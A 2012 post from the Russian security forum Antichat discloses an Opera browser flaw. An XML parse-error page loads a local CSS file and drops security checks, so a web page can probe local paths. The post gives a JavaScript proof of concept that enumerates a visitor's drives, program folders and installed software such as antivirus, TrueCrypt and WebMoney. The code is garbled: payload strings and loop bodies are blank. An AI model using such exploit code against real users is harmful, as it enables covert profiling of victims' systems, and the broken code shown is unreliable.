HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 17.10.2012, 03:49
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме:
4512

Репутация: 0
По умолчанию

follow

Уязвимость аналогична той, которую я нашел в прошлом году - http://forum.antichat.net/thread307415.html

Загружаем во фрейм xml-документ с ошибкой синтаксиса, получаем вывод сообщения об ошибке.

При выводе ошибки opera подгружает локальный css-файл, при этом отключая политику безопасности. После замены содержимого фрейма, xml-документ обрабатывается как html.

Для проверки статуса загрузки файла на этот раз использую свойство complete обекта image.

PoC (Windows, Linux; Opera

var
ifr=frames[0].document.documentElement;

var
diskArr='CDEFGHIJKLMNOPQRSTUVWXYZ';

var
diskDiv=document.createElement('div');

diskDiv.innerHTML='disks:
'
;

document.body.appendChild(diskDiv);

var
dirArr= new Array(

'program files',

'program files (x86)'

);

var
dirDiv=document.createElement('div');

dirDiv.innerHTML='
program folders:
'
;

document.body.appendChild(dirDiv);

var
progArr= new Array(

'adobe',

'akelpad',

'alcohol soft',

'avira',

'charles',

'daemon tools lite',

'drweb',

'eset',

'filezilla ftp client',

'filezilla ftp server',

'icq7.1',

'icq7.2',

'icq7.3',

'icq7.4',

'icq7.5',

'icq7.6',

'icq7.7',

'kaspersky lab',

'mcafee',

'microsoft office',

'microsoft visual studio',

'microsoft.net',

'mozilla firefox',

'nmap',

'nvidia corporation',

'notepad++',

'psi+',

'paragon software',

'qip',

'qip2010',

'qip2011',

'skype',

'teamviewer',

'total commander',

'truecrypt',

'utorrent',

'webmoney',

'winpcap',

'winrar',

'wireshark'

);

var
progDiv=document.createElement('div');

progDiv.innerHTML='
programs:
'
;

document.body.appendChild(progDiv);

function
add(name,type,img)

{

if(
img.complete)

{

switch(
type)

{

case
0:

diskDiv.innerHTML+=name+'
'
;

checkDir(name);

break



case
1:

dirDiv.innerHTML+=name+'
'
;

checkProg(name);

break;



case
2:

progDiv.innerHTML+=name+'
'
;

break;



case
3:

progDiv.innerHTML+=name+'
'
;

}

}

else if(
type==3)

{

checkDisk();

}

}

function
checkProg(dir)

{

for(var
j in progArr)

ifr.innerHTML="";

}

function
checkDir(disk)

{

for(var
j in dirArr)

ifr.innerHTML="";

}

function
checkDisk()

{

for(var
i in diskArr)

ifr.innerHTML="";

}

(function()

{

ifr.innerHTML="";

})()





[/COLOR]
[/PHP]

тема на rdot.org
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ